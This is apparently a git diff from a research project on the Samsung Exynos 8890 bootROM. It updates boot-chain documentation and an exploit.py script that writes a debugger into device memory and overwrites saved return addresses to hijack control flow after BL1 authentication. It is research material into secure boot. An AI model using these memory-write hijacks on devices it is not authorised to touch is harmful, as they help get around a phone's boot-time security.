diff --git a/documentation/source/BootROM_8890/boot_chain.rst b/documentation/source/BootROM_8890/boot_chain.rst index fbc0212..89c0d1c 100644 --- a/documentation/source/BootROM_8890/boot_chain.rst +++ b/documentation/source/BootROM_8890/boot_chain.rst @@ -40,11 +40,15 @@ This results in the following files: - Contains more textual information, and references to post BL2 boot, and android information - Kernel boot/BL33? +After loading the stage1 (entry.S - Frederic's exploit), we're allowed to send custom payloads to the device. The first payload that is then sent, is the debugger. + debugger ======== -After the initial loading of the debugger, the state reported is: +The initial debugger is written to ``0x2069000``, with debugger_stack and _storage at ``0x0206b000`` and ``0x0206d000`` respectively. -.. code:: bash +After the initial loading of the debugger, the processor state reported is (using ghidra assistant): + +.. code-block:: bash root | DEBUG | X0 : 0x0 | X1 : 0xffffffff | X2 : 0x20215d8 | X3 : 0x2021894 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 | @@ -53,31 +57,9 @@ After the initial loading of the debugger, the state reported is: X21 : 0x0 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 | X28 : 0x0 | X29 : 0x2020f00 | LR/X30 : 0x20219b8 | SP/X31 : 0x2020ef0 -With the original bl1 +LR/X30 being the line register. This is the address the processor will jump to when the function is done (important to keep track off). -.. code:: bash - - root | DEBUG | - X0 : 0x0 | X1 : 0x1 | X2 : 0x20215d8 | X3 : 0x2021894 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 | - X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 | - X14 : 0xf | X15 : 0x20c4000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x2000 | X20 : 0x2069000 | - X21 : 0x0 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 | - X28 : 0x0 | X29 : 0x2020f00 | LR/X30 : 0x20c0000 | SP/X31 : 0x2020ef0 - - - -With a modified bl1 - -.. code:: bash - - root | DEBUG | - X0 : 0x0 | X1 : 0x1 | X2 : 0x20215d8 | X3 : 0x2021894 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 | - X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 | - X14 : 0xf | X15 : 0x20c4000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x2000 | X20 : 0x2069000 | - X21 : 0x0 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 | - X28 : 0x0 | X29 : 0x2020f00 | LR/X30 : 0x20c0000 | SP/X31 : 0x2020ef0 - -I relocated the debugger to ``0x20c0000`` to prevent overwriting it. +After a cache flush, the debugger seems to be cleared as well, so the debugger is relocated to ``0x20c0000``, with _stack and _storage now at ``0x20c2000`` and ``0x20c4000`` respectively. This is done by running: .. code-block:: python @@ -95,15 +77,20 @@ I relocated the debugger to ``0x20c0000`` to prevent overwriting it. self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000) relocate_debugger() +The processor state reported then is: +.. code-block:: bash + root | DEBUG | + X0 : 0x0 | X1 : 0x1 | X2 : 0x20215d8 | X3 : 0x2021894 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 | + X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 | + X14 : 0xf | X15 : 0x20c4000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x2000 | X20 : 0x2069000 | + X21 : 0x0 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 | + X28 : 0x0 | X29 : 0x2020f00 | LR/X30 : 0x20c0000 | SP/X31 : 0x2020ef0 bl1 === -BL1 needs to be authenticated. -Loads at address ``0x02024000`` and contains some form of header (ramdump). -There seems to be a samsung header format, where the first 4 bytes define the entry point of the binary. -In this case this entry is ``+0x10`` so we jump to ``0x02024010``. +BL1 needs to be authenticated. BL1 loads at address ``0x02024000`` and contains some form of header (ramdump). There seems to be a samsung header format, where the first 4 bytes define the entry point of the binary. In this case this entry is ``+0x10`` so we jump to ``0x02024010``. Authentication seems to be done at ``0x00012848``. Initially we thought that 0x0 indicated a verified boot state (as is plausible when reading the decompiled code in Ghidra). But after modifying BL1 in the header and contents, this value did not change. .. code-block:: python @@ -123,7 +110,21 @@ In this case this entry is ``+0x10`` so we jump to ``0x02024010``. auth_bl1(0x020c0000) -After authentication the bootROM jumps to it, we can execute this function with the debugger. +.. figure:: images/bl1_auth_references.png + :align: center + + BL1 authentication + +At this point, we assumed that the authentication was succesful, and the bootROM would jump back to the debugger after loading, but this was not the case. After running this function, we were able to send a single packet, but never received a response. Indicating that the function we were executing never returned on us. + +If authentication at auth_bl1 is succesful, the returns a value from a function at ``1230c``. This function does some things, but eventually jumps to a function at: + +.. figure:: images/bl1_auth_follow-up_1230c.png + :align: center + + BL1 authentication + +After authentication the bootROM jumps to this function at, we can execute this function with the debugger. .. code-block:: python @@ -137,10 +138,12 @@ After authentication the bootROM jumps to it, we can execute this function with jump_fwbl1() -BL1 is laoded at the download buffer and self copies to ``0x02024000`` and resumes execution there(``0x02024010``). +BL1 is laoded at the download buffer and self copies to ``0x02024000`` and resumes execution there (``0x02024010``). However, this does not result in a jump back to the debugger. But the ROM still receives data from the host +! one payload allowed to be sent by the bootrom. + TODO TODO TODO The reason for this is the following code in bl1: diff --git a/documentation/source/BootROM_8890/images/bl1_auth_follow-up_1230c.png b/documentation/source/BootROM_8890/images/bl1_auth_follow-up_1230c.png new file mode 100644 index 0000000..c1eed21 Binary files /dev/null and b/documentation/source/BootROM_8890/images/bl1_auth_follow-up_1230c.png differ diff --git a/documentation/source/BootROM_8890/images/bl1_auth_references.png b/documentation/source/BootROM_8890/images/bl1_auth_references.png new file mode 100644 index 0000000..46de9ef Binary files /dev/null and b/documentation/source/BootROM_8890/images/bl1_auth_references.png differ diff --git a/documentation/source/BootROM_8890/index.rst b/documentation/source/BootROM_8890/index.rst index 9fe7aa4..df320e0 100644 --- a/documentation/source/BootROM_8890/index.rst +++ b/documentation/source/BootROM_8890/index.rst @@ -28,27 +28,6 @@ Frederic has also written a payload to extract the sboot.bin file from a connect $ strings -n4 sboot.bin.1.bin -was - -.. list-table:: bootrom stages - :header-rows: 1 - - * - File - - Strings output - - Likely boot stage? - * - sboot.bin.1.bin - - Exynos BL1 - - BL1 - * - sboot.bin.2.bin - - BL31 %s - - BL31 - * - sboot.bin.3.bin - - Unsure. Contains strings like: TOP_DIV_ACLK_MFC_600 and APOLLO_DIV_APOLLO_RUN_MONITOR - - BL2? - * - sboot.bin.4.bin - - Contains more textual information, and references to post BL2 boot, and android information - - Kernel boot/BL33? - Memory Layout ------------- TODO make memory layout of ROM, IMEM and some devices @JONHE diff --git a/source/exploit/exploit.py b/source/exploit/exploit.py index 3dbbae1..f9c75de 100644 --- a/source/exploit/exploit.py +++ b/source/exploit/exploit.py @@ -313,30 +313,36 @@ class ExynosDevice(): _initial_run_debugger() _setup_debugger() - def dumb_interact(self): + def dumb_interact(self, dump_imems=False): ''' Room for playing around with the debugger ''' self.cd.arch_dbg.state.auto_sync = False self.cd.arch_dbg.state.auto_sync_special = False + logger.debug('State after setting up initial debugger') self.cd.arch_dbg.state.print_ctx() def relocate_debugger(): # Seems to be cleared upon cache clearing?? if os.getenv("USER") == "eljakim": - debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read() + debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read() else: try: - debugger_reloc = open("../../dump/debugger.bin", "rb").read() + debugger_reloc = open("../../dump/reloc_debugger.bin", "rb").read() except Exception as e: print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}') sys.exit(0) + self.cd.memwrite_region(0x020c0000, debugger_reloc) self.usb_write(b"FLSH") # Flush cache self.cd.restore_stack_and_jump(0x020c0000) assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger" self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000) + relocate_debugger() + + logger.debug('State after relocating debugger') + self.cd.arch_dbg.state.print_ctx() def memdump_imem(): dumped = b"" @@ -349,8 +355,13 @@ class ExynosDevice(): # Try loading bl1 bl1 = open("../S7/bl1.bin", "rb").read() - self.cd.memwrite_region(0x02021800, bl1) - # self.usb_write(b"FLSH") + + # If wanting to modify the binary + # bl1 = bl1[:0x1C23] + b'\xaa' + bl1[0x1C24:] + + self.cd.memwrite_region(0x02021800, bl1) + + imem1 = memdump_imem() AUTH_BL1 = 0x00012848 def auth_bl1(lr=0x2069000): # Load the firmware @@ -362,18 +373,39 @@ class ExynosDevice(): assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!" auth_bl1(0x020c0000) - # dump2 = memdump_imem() + + # Dump memory + # imem2 = memdump_imem() + # with open("/tmp/imem1_bad.bin", "wb") as f: + # f.write(imem1) + # with open("/tmp/imem2_bad.bin", "wb") as f: + # f.write(imem2) # Works until here TODO hijack future control flow # self.cd.memwrite_region(0x02020108, p32(0x020c0000)) # Hijack some weird function, original 0x00005790 - self.cd.memwrite_region(0x02020f60, p32(0x020c0000)) + self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger, at function + self.cd.memwrite_region(0x020200dc, p32(0x020c0000)) + + def hijack_brom_weird(): + print(f"LR = {hex(self.cd.arch_dbg.state.LR - 4)} X0 = {hex(self.cd.arch_dbg.state.X0)}") + self.cd.restore_stack_and_jump(0x00000314) + BOOT_BL1 = 0x00019310 def jump_bl1(lr): self.cd.arch_dbg.state.LR = lr self.cd.restore_stack_and_jump(BOOT_BL1) jump_bl1(0x020c0000) - pass + while True: + try: + resp = self.usb_read(0x200) + if self.cd.arch_dbg.state.LR == 0x02022948: + break # ROM will load next stage over USB + hijack_brom_weird() + except: + pass + + # TODO load bl31 @@ -432,8 +464,8 @@ class ExynosDevice(): if __name__ == "__main__": arg = argparse.ArgumentParser("Exynos exploit") arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False) - args = arg.parse_args() + args = arg.parse_args() exynos = ExynosDevice() if args.debug: